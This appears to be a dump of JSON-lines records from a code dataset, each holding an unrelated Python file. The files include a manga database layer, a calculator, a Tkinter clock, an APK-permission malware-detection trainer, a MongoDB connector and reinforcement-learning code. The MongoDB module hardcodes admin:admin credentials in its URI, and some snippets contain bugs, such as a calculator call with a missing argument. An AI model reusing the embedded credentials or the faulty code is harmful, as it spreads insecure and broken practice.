finally:\n lock.release()\n cls._log.info(f'Insertion was successful! Manga ID: {manga_id}')\n\n return manga_id\n\n\n# class ProcSeriesTable(Database):\n# processed_series = set()\n#\n# @classmethod\n# def initialize(cls):\n# cls._log = logging.getLogger(f'{cls.__module__}.{cls.__name__}')\n# cls._table = 'processed_series'\n# cls._id = None\n# cls._last_save_time = None\n# cls._log.debug(f'{cls.__name__} class has been initialized')\n\n\nclass FilesTable(Database):\n @classmethod\n def initialize(cls):\n cls._log = logging.getLogger(f'{cls.__module__}.{cls.__name__}')\n cls._table = 'files'\n cls._log.debug(f'{cls.__name__} class has been initialized')\n\n @classmethod\n def search(cls, manga_title, chapter_number):\n cls._log.debug(f'Searching files cls by keys \"series_title\" and \"chapter_number\" '\n f'using values \"{manga_title}\" and {chapter_number}')\n try:\n lock.acquire(True)\n results = cls._database.execute(\n 'SELECT * FROM files WHERE series_title = ? AND chapter_number = ?',\n (manga_title,\n chapter_number,))\n result = results.fetchone()\n finally:\n lock.release()\n return result\n\n @classmethod\n def get_by_id(cls, file_id):\n cls._log.debug(f'Getting details for file id: {file_id}')\n try:\n lock.acquire(True)\n results = cls._database.execute(\n 'SELECT * FROM files WHERE file_id = ?',\n (file_id,))\n result = results.fetchone()\n finally:\n lock.release()\n return result\n\n @classmethod\n def untagged(cls):\n cls._log.debug('Getting untagged files.')\n try:\n lock.acquire(True)\n results = cls._database.execute('SELECT file_id FROM files WHERE tagged_date is null')\n finally:\n lock.release()\n return results\n\n @classmethod\n def insert_record_and_rename(cls, old_file_path: Path, new_file_path: Path, manga_title, chapter, logging_info):\n\n params = (\n manga_title,\n chapter,\n old_file_path.name,\n new_file_path.name\n )\n\n cls._log.debug(f'Params: {params}')\n\n logging_info['record_params'] = params\n\n try:\n #old_file_path.rename(new_file_path)\n shutil.move(old_file_path.as_posix(), new_file_path.as_posix())\n except FileNotFoundError as e:\n cls._log.exception(f'{old_file_path.as_posix()} not found.')\n\n try:\n lock.acquire(True)\n\n if new_file_path.is_file():\n cls._log.info(f'\"{new_file_path.name.strip(\".cbz\")}\" has been renamed.')\n\n cls._database.execute(\n 'INSERT INTO files (series_title, chapter_number, old_filename,new_filename, processed_date) '\n 'VALUES (?, ?, ?, ?, datetime()) ', params)\n else:\n cls._log.info(f'\"{new_file_path.name.strip(\".cbz\")}\" rename failed.')\n cls._database.execute(\n 'INSERT INTO files (series_title, chapter_number, old_filename, new_filename) VALUES (?, ?, ?, ?)',\n params)\n\n cls._client.commit()\n\n file_id = cls._database.lastrowid\n\n finally:\n lock.release()\n\n cls._log.debug(f'File record added. File ID: {file_id} Params: {params}')\n return file_id\n\n @classmethod\n def update_record_and_rename(cls, results, old_file_path: Path, new_file_path: Path, logging_info):\n\n logging_info['updated_processed_record'] = results\n\n try:\n # old_file_path.rename(new_file_path)\n shutil.move(old_file_path.resolve().name, new_file_path.resolve().name)\n except FileNotFoundError as e:\n cls._log.exception(f'{old_file_path.name} not found.')\n\n if new_file_path.is_file():\n cls._log.info(f'\"{new_file_path.name.strip(\".cbz\")}\" has been renamed.')\n try:\n lock.acquire(True)\n cls._database.execute(\n 'UPDATE files SET processed_date = datetime() WHERE file_id = ?', (results['file_id'],))\n cls._client.commit()\n finally:\n lock.release()\n else:\n cls._log.info(f'\"{new_file_path.name.strip(\".cbz\")}\" rename failed.')\n\n cls._log.debug(f'File record updated: {results[\"file_id\"]}')\n\n @classmethod\n def add_manga_id(cls, file_id, manga_id):\n cls._log.info(f'Adding Manga ID: {manga_id} to File ID: {file_id}')\n\n params = (\n manga_id,\n file_id\n )\n\n try:\n lock.acquire(True)\n cls._database.execute('UPDATE files SET manga_id = ? WHERE file_id = ?', params)\n cls._client.commit()\n finally:\n lock.release()\n cls._log.debug(f'File record updated: {file_id}')\n\n @classmethod\n def add_tagged_date(cls, file_id):\n cls._log.info(f'Adding tagged date to File ID: {file_id}')\n try:\n lock.acquire(True)\n cls._database.execute('UPDATE files SET tagged_date = datetime() WHERE file_id = ?', (file_id,))\n cls._client.commit()\n finally:\n lock.release()\n cls._log.debug(f'File record updated: {file_id}')\n\n\nclass TaskQueueTable(Database):\n @classmethod\n def initialize(cls):\n cls._log = logging.getLogger(f'{cls.__module__}.{cls.__name__}')\n cls._table = 'task_queue'\n cls.queue = Queue()\n cls._log.debug(f'{cls.__name__} class has been initialized')\n\n @classmethod\n def load(cls, task_list: dict):\n cls._log.info('Loading task queue...')\n try:\n lock.acquire(True)\n results = cls._database.execute('SELECT * FROM task_queue')\n\n if results is not None:\n for result in results.fetchall():\n cls._log.info(f'Adding task: {result}')\n result['src_path'] = result['src_path'].replace('\\\\', '/')\n task_list[result['manga_chapter']] = result\n finally:\n lock.release()\n\n @classmethod\n def save(cls, queue):\n if not queue.empty():\n cls._log.info('Saving task queue...')\n while not queue.empty():\n event = queue.get()\n cls._log.debug(f'Event: {event}')\n params = (\n event['event_type'],\n event['manga_chapter'],\n event['src_path'],\n )\n try:\n lock.acquire(True)\n cls._database.execute(\n 'INSERT INTO task_queue (event_type, manga_chapter, src_path) VALUES (?, ?, ?)',\n params)\n cls._client.commit()\n finally:\n lock.release()\n\n @classmethod\n def delete_all(cls):\n super(TaskQueueTable, cls).delete_all(cls._table, None)\n","sub_path":"MangaTaggerLib/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":14590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"183384899","text":"from math import *\nimport msvcrt as m\n\n\nnum1 = float(input(\"Enter a number: \"))\noperator = input(\"Enter operand: \")\nnum2 = float(input(\"Enter a number: \"))\n\ndef addition(num1,num2):\n result = num1 + num2\n return result\n\ndef subraction(num1,num2):\n result = num1 - num2\n result = abs(result)\n return result\n\ndef multiplication(num1,num2):\n result = num1 * num2\n return result\n\ndef division(num1, num2):\n result = num1 / num2\n return result\n\nif operator == \"+\":\n print(addition(num1,num2))\nelif operator == \"-\":\n print(subraction(num1,num2))\nelif operator == \"/\":\n print(division(num1,num2))\nelif operator == \"*\":\n print(multiplication(num1))\nelse:\n print(\"Operator invalid\") \n\ninput(\"Press Enter to continue...\")\ndef wait():\n m.getch()\n","sub_path":"miniprojects/Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"461505184","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n# Copyright © 2018 Cesar Sinchiguano \n#\n# Distributed under terms of the BSD license.\n\n\"\"\"\n\n\"\"\"\nimport numpy as np\nfrom scipy import misc\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom skimage import data\n\nphoto_data = misc.imread('./wifire/sd-3layers.jpg')\nred_mask = photo_data[:, : ,0] < 150\n\n# photo_data[red_mask] = 0\n# plt.figure(figsize=(15,15))\n# plt.imshow(photo_data)\n# plt.show()\n\n\nphoto_data = misc.imread('./wifire/sd-3layers.jpg')\nred_mask = photo_data[:, : ,1] < 150\n\n# photo_data[red_mask] = 0\n# plt.figure(figsize=(15,15))\n# plt.imshow(photo_data)\n# plt.show()\n\n\nphoto_data = misc.imread('./wifire/sd-3layers.jpg')\n\nred_mask = photo_data[:, : ,0] < 150\ngreen_mask = photo_data[:, : ,1] > 100\nblue_mask = photo_data[:, : ,2] < 100\n\nfinal_mask = np.logical_and(red_mask, green_mask, blue_mask)\nphoto_data[final_mask] = 0\nplt.figure(figsize=(15,15))\nplt.imshow(photo_data)\n","sub_path":"src/thesis_pkg/yumi_main/src/rgbonly.py","file_name":"rgbonly.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"65102862","text":"import time\nimport tkinter as tk\nimport datetime as dt\n\nwindow_size = '800x480'\ngo_lives = [('Academic', dt.date(2018,6,2)),\n ('ECW Convrsn', dt.date(2019,3,31)), \n ('Memorial', dt.date(2050,8,1)), # date > 1000 days in future for now so ??? displayed\n ]\n\n\ndef tick(time1=''):\n # get the current local time from the PC\n time2 = time.strftime('%H:%M')\n # if time string has changed, update it\n if time2 != time1:\n time1 = time2\n today = dt.date.today()\n cal_day.config(text=today.strftime(\"%A\"))\n cal_day.grid(row=0, column=0, sticky=tk.W)\n cal_date.config(text=today.strftime(\"%x\"))\n cal_date.grid(row=0, column=1, sticky=tk.E)\n clock.config(text=time2)\n clock.grid(row=1, columnspan=2)\n for site in go_lives:\n if site[1] > today:\n countdown = site[1] - today\n pod = site[0]\n break\n cd_line.grid(row=2, columnspan=2)\n if countdown.days == 1:\n cd_line.config(text= pod + ' goes live in: 1 day')\n elif countdown.days > 1000:\n cd_line.config(text= pod + ' goes live in: ??? days')\n else:\n cd_line.config(text= pod + ' goes live in: ' + str(countdown.days) + ' days')\n\n # calls itself every 200 milliseconds\n # to update the time display as needed\n clock.after(200, tick)\nroot = tk.Tk()\nroot.configure(background='#7ea0d6')\nroot.geometry(window_size)\nroot.columnconfigure(1, weight=1)\nroot.title('KFW Clock')\ncal_day = tk.Label(root, font=('helvetica', 48), bg='#7ea0d6')\ncal_date = tk.Label(root, font=('helvetica', 48), bg='#7ea0d6')\nclock = tk.Label(root, font=('helvetica', 128, 'bold'), bg='#7ea0d6', fg='blue4')\ncd_line = tk.Label(root, font=('helvetica', 32), bg='#7ea0d6')\n\n\n# clock.pack(fill='both', expand=1)\ntick()\nroot.mainloop()\n","sub_path":"rpcd.py","file_name":"rpcd.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"198075631","text":"class checkedit:\n def oneaway(self, string1, string2):\n count=0\n m=len(string1)\n n=len(string2)\n i=0\n j=0\n if abs(m-n)>1:\n return False\n while i \")\n\nif len(sys.argv)!=3: \n\tusage() \n\texit() \n\t\nf=open(sys.argv[1],\"r\") \nthreshold=int(sys.argv[2]) \ndic_otu={}\nnb_otu=0\nfor l in f: \n\tif l.startswith(\">\"):\n\t\tnb_otu+=1 \n\t\tdic_otu[\"OTU\"+str(nb_otu)]=0 \n\telse: \n\t\tdic_otu[\"OTU\"+str(nb_otu)]+=1 \n\t\t\t \nsingletons=0 \npairs=0\t\t\t \nclusters005=0\nfor otu in dic_otu: \n\tif dic_otu[otu]==1: \n\t\tsingletons+=1 \n\telif dic_otu[otu]==2: \n\t\tpairs+=1 \n\tif dic_otu[otu]>=threshold: \n\t\tclusters005+=1\t\n\nprint(len(dic_otu),singletons,pairs,clusters005) \t \t\t\t \n\t\t\t\n","sub_path":"bin/treat_clstr.py","file_name":"treat_clstr.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"497034065","text":"#!/usr/bin/env python\n# coding=utf-8\n\n#import pymongo\nfrom pymongo import MongoClient\n\nmongolab_uri = \"mongodb://admin:admin@ds031631.mongolab.com:31631/heroku_app33166867\"\n#conn = pymongo.MongoClient(\"mongodb://:@ds031631.mongolab.com:31631/heroku_app33166867\", 27017)\n#db = conn[\"Home-Cloud\"]\nclient = MongoClient(mongolab_uri,\n connectTimeoutMS=30000,\n socketTimeoutMS=None,\n socketKeepAlive=True)\n\ndb = client[\"Home-Cloud\"]","sub_path":"models/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"465575576","text":"import os\nimport numpy as np\nfrom androguard.core.bytecodes.apk import APK\n\n#paths and filenames\nbenignware_path = \"/home/venkatesh/fyp/Dataset/Malware/ADRD/\"\npermissions_path = \"/home/venkatesh/fyp/github/final_year_project/\"\npermissions_file = \"list_of_permissions.txt\"\n\n#converting text permission to list\nwith open(permissions_path + permissions_file) as f:\n permissions_list = f.read().splitlines()\n\n#number of permissions in permission list\npermissions_list_length = len(permissions_list)\n\n#print(\"Permission List : \" + str(permissions_list))\nprint(\"Length of permission list : \" + str(permissions_list_length))\n\n#sorting list to optimise the matching \npermissions_list.sort()\n\n#number of application in benignware\nfiles_count = len(os.listdir(benignware_path))\nprint (\"Total no. of benignware files : \" + str(files_count))\n\n#print(\"Permission List : \" + str(permissions_list))\n\n#initialising permission vector\npermissions_vector = np.zeros((files_count,permissions_list_length),dtype = int)\n#print(permissions_vector)\n\n# read the entries\nwith os.scandir(benignware_path) as listOfEntries: \n for appln_num,entry in enumerate(listOfEntries):\n # Application Number\n print (appln_num)\n if entry.is_file():\n #application file name\n print(entry.name)\n current_apk = APK( benignware_path + entry.name)\n #extraction current application permissions\n current_apk_permissions = current_apk.get_permissions()\n print (current_apk_permissions)\n \n #generating vector\n for permission in current_apk_permissions:\n print (permission)\n for index,current_permission in enumerate(permissions_list):\n if(current_permission == permission):\n print(index,current_permission)\n permissions_vector[appln_num,index] = 1\n\n\n#finalised vector\nprint (permissions_vector)\n\n\n# Check the versions of libraries\n\n# Python version\nimport sys\nprint('Python: {}'.format(sys.version))\n# scipy\nimport scipy\nprint('scipy: {}'.format(scipy.__version__))\n# numpy\nimport numpy\nprint('numpy: {}'.format(numpy.__version__))\n# matplotlib\nimport matplotlib\nprint('matplotlib: {}'.format(matplotlib.__version__))\n# pandas\nimport pandas\nprint('pandas: {}'.format(pandas.__version__))\n# scikit-learn\nimport sklearn\nprint('sklearn: {}'.format(sklearn.__version__))\n\n# Load libraries\nimport pandas\nfrom pandas.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\nfrom sklearn import model_selection\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\n# Split-out validation dataset\nX = permissions_vector\nprint(X)\nnp.unique(X)\nY = [0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1]\nvalidation_size = 0.20\nseed = 7\nX_train, X_validation, Y_train, Y_validation = model_selection.train_test_split(X, Y, test_size=validation_size, random_state=seed)\n\n# Test options and evaluation metric\nseed = 7\nscoring = 'accuracy'\n\n\n# Spot Check Algorithms\nmodels = []\n#models.append(('LR', LogisticRegression(solver='lbfgs', multi_class='ovr')))\n#models.append(('LDA', LinearDiscriminantAnalysis()))\nmodels.append(('KNN', KNeighborsClassifier()))\n#models.append(('CART', DecisionTreeClassifier()))\n#models.append(('NB', GaussianNB()))\nmodels.append(('SVM', SVC(gamma='auto')))\n\n# evaluate each model in turn\nresults = []\nnames = []\nfor name, model in models:\n\tkfold = model_selection.KFold(n_splits=2, random_state=seed)\n\tcv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring,error_score=np.nan)\n\tresults.append(cv_results)\n\tnames.append(name)\n\tmsg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\n\tprint(msg)\n\n\n\n# Make predictions on validation dataset\nknn = LogisticRegression()\nknn.fit(X_train, Y_train)\npredictions = knn.predict(X_validation)\nprint(accuracy_score(Y_validation, predictions))\nprint(confusion_matrix(Y_validation, predictions))\nprint(classification_report(Y_validation, predictions))\n\n","sub_path":"static_feature_old_train.py","file_name":"static_feature_old_train.py","file_ext":"py","file_size_in_byte":4474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"185292731","text":"#### Point Plane Net reimplementation of \n#https://www.sciencedirect.com/science/article/pii/S1051200419301873?via%3Dihub\n##Daniil, Dusan\nimport torch\nimport torch.nn as nn\nfrom im2mesh.layers import ResnetBlockFC\nfrom sklearn.neighbors import kneighbors_graph\nimport numpy as np\nfrom numpy import linalg as LA\n\ndef maxpool(x, dim=-1, keepdim=False):\n out, _ = x.max(dim=dim, keepdim=keepdim)\n return out\n\n\n\n\n\n##############torch version######################\n## Author : Daniil Emstev\n\ndef knn_find(points, k: int):\n \"\"\"find indexes of k nearest points for every point in \"points\" array\n Parameters\n ----------\n points : np.array \n set of 3d points [N*3]\n k : int\n number of nearest neighbours\n Returns\n -------\n tensor [N*k] - for every point indexes of k nearest neighbours\n \"\"\"\n\n graph = kneighbors_graph(\n points, k, mode='connectivity', include_self=False)\n array_neighbours = graph.toarray()\n\n # return torch.from_numpy(array_neighbours)\n return array_neighbours\n\n\ndef kernel(weights, point):\n \"\"\"calculates H(W, X)\n \"\"\"\n new_point = torch.cat((torch.tensor([1.]).cuda(), point), dim=0)\n answer = weights.dot(new_point)/(weights[1:].norm(p=2))\n return answer\n\n\ndef final_kernel(points, i, weights, channel, k, id_neighbours):\n \"\"\"calculates 1/(1 + exp(H(W, X)))\n \"\"\"\n# print(weights[channel])\n pc_first = 1/k*sum([kernel(weights[channel], points[id_neighbour] - points[i])\n for id_neighbour in id_neighbours if id_neighbour != i])\n # pc_final = 1/(1. + np.power(2.73, pc_first.numpy()))\n #Previous doesn't work for cuda \n pc_final = 1/(1. + np.power(2.73, pc_first.item()))\n return pc_final\n\n\ndef convolution(points, k, weights, channels):\n \"\"\"creates features for every point\n Author\n Daniil Emtsev\n Parameters\n ----------\n points : torch.tensor\n set of 3d points [N*3]\n k : int\n number of nearest neighbours\n weights : torch.tensor\n set of weights [channels*4]\n channels : int\n number of channels\n Returns\n -------\n tensor [N*channels] - for every point \"channels\" features\n \n \"\"\"\n number_points = points.shape[0]\n # array_features = torch.zeros([number_points, channels], dtype=torch.int32)\n # array_features = torch.zeros([number_points, channels], dtype=torch.float).cuda()\n array_features = []\n for i in range(number_points):\n dist = torch.norm(points - points[i], dim=1, p=None).cuda()\n #For PyTorch version 1.0.0 https://pytorch.org/docs/1.0.0/torch.html?highlight=topk#torch.topk\n id_neighbours = dist.topk(k+1, largest=False)[1]\n array_feature = torch.tensor([final_kernel(\n points, i, weights, channel, k, id_neighbours) for channel in np.arange(0, channels, 1)],dtype=torch.float).cuda()\n # array_feature = [final_kernel(\n # points, i, weights, channel, k, id_neighbours) for channel in np.arange(0, channels, 1)]\n array_features.append(array_feature)\n array_features = torch.stack(array_features).cuda()\n\n return array_features\n\n\n### Dusan's Stuff\n\nclass MLP(nn.Module):\n \"\"\"\n From Point-PlaneNet : Then 4 MLP layers (respectfully with 64, 128, 128, 1024 neurons) are used \\n\n to transform per-point’s features to higher-dimensional space and a global \\n\n max pooling layer is used to extract global feature vector. \\n\n All MLPs are followed by batch normalization and ReLU. \\n\n Input:\n size N x L\n Output: \n size N x 1024\n Author : \n Dusan Svilarkovic\n Parameters :\n channels (int) : number of planes/channels\n \"\"\"\n def __init__(self, channels = 3):\n \n super(MLP, self).__init__()\n self.channels = channels\n self.mlp64 = nn.Linear(channels, 64)\n self.batchnorm64 = nn.BatchNorm1d(64)\n \n self.mlp128_1 = nn.Linear(64, 128)\n self.batchnorm128_1 = nn.BatchNorm1d(128)\n \n self.mlp128_2 = nn.Linear(128, 128)\n self.batchnorm128_2 = nn.BatchNorm1d(128)\n \n self.mlp1024 = nn.Linear(128, 1024)\n self.batchnorm1024 = nn.BatchNorm1d(1024)\n\n self.relu = nn.ReLU()\n\n \n \n\n def forward(self, x):\n \n #for batch processing\n output = []\n \n if(len(x.shape) == 3):\n for i in range(x.shape[1]):\n output_part = self.forward_function(x[:,i,:])\n output.append(output_part)\n\n \n output = torch.stack(output)\n output = output.permute(1,0,2)\n return(output)\n \n \n def forward_function(self, x):\n x = self.mlp64(x)\n x = self.batchnorm64(x)\n x = self.relu(x)\n \n x = self.mlp128_1(x)\n x = self.batchnorm128_1(x)\n x = self.relu(x)\n \n x = self.mlp128_2(x)\n x = self.batchnorm128_2(x)\n x = self.relu(x)\n \n x = self.mlp1024(x)\n \n \n return x","sub_path":"src/experiments/point_plane_net.py","file_name":"point_plane_net.py","file_ext":"py","file_size_in_byte":5182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"641844860","text":"\"\"\"Orthagraphic syllable splitting.\"\"\"\n\nimport numpy as np\n\n\ndef ortho_syllable(word):\n \"\"\"Split word to orhtographic syllable.\"\"\"\n vector = vectorize(word)\n grad_vec = gradient(vector)\n SW = \"\"\n i = 0\n w_len = len(word)\n while(i < w_len):\n SW = SW + word[i]\n if (i+1) < w_len:\n if i == 0 and grad_vec[i] == -1:\n SW = SW + word[i+1] + \" \"\n i += 1\n elif grad_vec[i] == -1 and i != w_len-1:\n if word[i+1] in ['r', 's', 't', 'l', 'n', 'd'] and i+1 != w_len-1:\n if vector[i+2] == 0:\n SW = SW + word[i+1]\n i += 1\n SW = SW + \" \"\n i += 1\n # pdb.set_trace()\n return SW.split()\n\n\ndef is_vowel(char):\n \"\"\"Check if it is vowel.\"\"\"\n return char in ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n\n\ndef gradient(vector):\n \"\"\"Get the gradient of the vector.\"\"\"\n vec2 = vector[1::]\n vec2.append(0)\n vec2 = np.array(vec2)\n vec = np.array(vector)\n return vec2-vec\n\n\ndef vectorize(word):\n \"\"\"Vectorize based on consonant and vowel.\"\"\"\n vec = list()\n for i in range(len(word)):\n vec.append(int(is_vowel(word[i])))\n return vec\n\n\nif __name__ == \"__main__\":\n vec = ortho_syllable(\"prarthna\")\n print(vec)\n","sub_path":"ortho.py","file_name":"ortho.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"279261385","text":"from tinydb import TinyDB, where\n\ndb = TinyDB('app/db/data.json')\n\nclass division(object):\n\n tbl = db.table('division')\n\n def __init__(self,name,boatlist):\n self.name = name\n self.boatlist = boatlist\n division.tbl.insert({\n 'name': self.name,\n 'boatlist': self.boatlist\n })\n\n def getDivisionBoats(name):\n div = division.tbl.get(where('name')== name)\n return div['boatlist']\n\nclass series(object):\n\n tbl = db.table('series')\n\n def __init__(self,name,racelist):\n self.name = name\n self.racelist = racelist\n series.tbl.insert({\n 'name': self.name,\n 'racelist': self.racelist\n })\n\n def getSeriesRaces(name):\n races = series.tbl.get(where('name')== name)\n return races['racelist']\n","sub_path":"app/aggregators.py","file_name":"aggregators.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"487077682","text":"###\n# Copyright 2017 Dell Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n###\n\n###\n# Author: Vaideeswaran Ganesan (vaideeswaran_ganesan@dell.com)\n###\n\nimport sys\nimport inspect\nfrom inspect import signature\nfrom pysemantics.langcompat.cenum import TypeHelper,EnumWrapper\nfrom pysemantics.enum.MethodEnum import MemberType, MethodType, LogType\n\nPY2 = sys.version_info[0] == 2\nPY3 = sys.version_info[0] == 3\n\n_membuiltin = [\n \"__class__\",\n \"__delattr__\",\n \"__dict__\",\n \"__dir__\",\n \"__doc__\",\n \"__eq__\",\n \"__format__\",\n \"__ge__\",\n \"__getattribute__\",\n \"__gt__\",\n \"__hash__\",\n \"__init__\",\n \"__le__\",\n \"__lt__\",\n \"__module__\",\n \"__ne__\",\n \"__new__\",\n \"__reduce__\",\n \"__reduce_ex__\",\n \"__repr__\",\n \"__setattr__\",\n \"__sizeof__\",\n \"__str__\",\n \"__subclasshook__\",\n \"__weakref__\"\n]\n\nclass MemberSemantics(object):\n def __init__(self):\n pass\n\n def get_members(self, obj, visitor):\n self.pfjson = {}\n self.cls_visited = {}\n self.obj_visited = {}\n rt= self._get_members(obj, visitor, \"\", \"\")\n return rt\n\n def _get_members(self, obj, visitor, objname, c=\"\"):\n to_see_private = []\n to_see_public = []\n if id(obj) in self.obj_visited:\n return True\n self.obj_visited[id(obj)] = 'yes'\n if type(obj) in [int, str, bool, float, dict, list, LogType]:\n return True\n\n #for (mem_name, value) in inspect.getmembers(obj):\n for mem_name in dir(obj):\n \n if mem_name in _membuiltin:\n continue\n\n mem_fqdn = objname + \".\" + mem_name\n\n if mem_fqdn in self.pfjson:\n continue\n\n self.pfjson[mem_fqdn] = 'done'\n value = None\n try:\n value = getattr(type(obj), mem_name)\n except Exception as ex:\n #print(\"type(obj):\" + str(ex))\n pass\n try:\n if not value: value = getattr(obj, mem_name)\n except Exception as ex:\n #print(\"obj:\" + str(ex))\n pass\n\n if (mem_name.startswith(\"_\") or mem_name.startswith(\"my_\")):\n myprivacy = MemberType.Private\n else:\n myprivacy = MemberType.Public\n\n if inspect.ismethod(value) or inspect.isfunction(value):\n mytype = MemberType.Method\n visitor.method_start(myprivacy, mytype, mem_fqdn)\n self._get_args_str(visitor, obj, mem_name)\n visitor.method_close()\n else:\n if id(value) in self.obj_visited: continue\n\n mytype = MemberType.Field\n if type(value).__name__ == 'property':\n mytype = MemberType.Property\n visitor.property_name(myprivacy, mytype, mem_fqdn)\n\n if mytype == MemberType.Property: continue\n\n if (mem_name.startswith(\"_\") or mem_name.startswith(\"my_\")):\n to_see_private.append([mem_fqdn, value])\n else:\n to_see_public.append([mem_fqdn, value])\n \n # printing only methods of public objects!!\n for obj2 in to_see_public:\n self._get_members(obj2[1], visitor, obj2[0], c+ \" \")\n return True\n\n def _get_args_str(self, visitor, obj, method):\n rjson = self._get_args(obj, method)\n for arg in rjson:\n if len(arg) > 1:\n visitor.method_arg_with_default(arg[0], arg[1])\n else:\n visitor.method_arg(arg[0])\n\n def _get_args(self, obj, method):\n rjson = []\n sig = signature(getattr(obj,method))\n for param in sig.parameters.values():\n if param.default is param.empty:\n rjson.append([param.name])\n else:\n rjson.append([param.name, param.default])\n return rjson\n","sub_path":"pysemantics/MemberSemantics.py","file_name":"MemberSemantics.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"203154820","text":"#!/usr/bin/env python3\r\n# encoding: utf-8\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport tensorflow_probability as tfp\r\n\r\nfrom collections import namedtuple\r\n\r\nfrom rls.utils.tf2_utils import (gaussian_clip_rsample,\r\n gaussian_likelihood_sum,\r\n gaussian_entropy)\r\nfrom rls.algos.base.on_policy import On_Policy\r\nfrom rls.utils.build_networks import ACNetwork\r\nfrom rls.utils.specs import (OutputNetworkType,\r\n BatchExperiences)\r\n\r\nTRPO_Store_BatchExperiences_CTS = namedtuple('TRPO_Store_BatchExperiences_CTS', BatchExperiences._fields + ('value', 'log_prob', 'mu', 'log_std'))\r\nTRPO_Store_BatchExperiences_DCT = namedtuple('TRPO_Store_BatchExperiences_DCT', BatchExperiences._fields + ('value', 'log_prob', 'logp_all'))\r\nTRPO_Train_BatchExperiences_CTS = namedtuple('TRPO_Train_BatchExperiences_CTS', 'obs, action, log_prob, discounted_reward, gae_adv, mu, log_std')\r\nTRPO_Train_BatchExperiences_DCT = namedtuple('TRPO_Train_BatchExperiences_DCT', 'obs, action, log_prob, discounted_reward, gae_adv, logp_all')\r\n\r\n\r\n'''\r\nStole this from OpenAI SpinningUp. https://github.com/openai/spinningup/blob/master/spinup/algos/trpo/trpo.py\r\n'''\r\n\r\n\r\ndef flat_concat(xs):\r\n return tf.concat([tf.reshape(x, (-1,)) for x in xs], axis=0)\r\n\r\n\r\ndef assign_params_from_flat(x, params):\r\n def flat_size(p): return int(np.prod(p.shape.as_list())) # the 'int' is important for scalars\r\n splits = tf.split(x, [flat_size(p) for p in params])\r\n new_params = [tf.reshape(p_new, p.shape) for p, p_new in zip(params, splits)]\r\n return tf.group([p.assign(p_new) for p, p_new in zip(params, new_params)])\r\n\r\n\r\nclass TRPO(On_Policy):\r\n '''\r\n Trust Region Policy Optimization, https://arxiv.org/abs/1502.05477\r\n '''\r\n\r\n def __init__(self,\r\n envspec,\r\n\r\n beta=1.0e-3,\r\n lr=5.0e-4,\r\n delta=0.01,\r\n lambda_=0.95,\r\n cg_iters=10,\r\n train_v_iters=10,\r\n damping_coeff=0.1,\r\n backtrack_iters=10,\r\n backtrack_coeff=0.8,\r\n epsilon=0.2,\r\n critic_lr=1e-3,\r\n network_settings={\r\n 'actor_continuous': [32, 32],\r\n 'actor_discrete': [32, 32],\r\n 'critic': [32, 32]\r\n },\r\n **kwargs):\r\n super().__init__(envspec=envspec, **kwargs)\r\n self.beta = beta\r\n self.delta = delta\r\n self.lambda_ = lambda_\r\n self.epsilon = epsilon\r\n self.cg_iters = cg_iters\r\n self.damping_coeff = damping_coeff\r\n self.backtrack_iters = backtrack_iters\r\n self.backtrack_coeff = backtrack_coeff\r\n self.train_v_iters = train_v_iters\r\n\r\n if self.is_continuous:\r\n self.net = ACNetwork(\r\n name='net',\r\n representation_net=self._representation_net,\r\n policy_net_type=OutputNetworkType.ACTOR_MU_LOGSTD,\r\n policy_net_kwargs=dict(output_shape=self.a_dim,\r\n network_settings=network_settings['actor_continuous']),\r\n value_net_type=OutputNetworkType.CRITIC_VALUE,\r\n value_net_kwargs=dict(network_settings=network_settings['critic'])\r\n )\r\n else:\r\n self.net = ACNetwork(\r\n name='net',\r\n 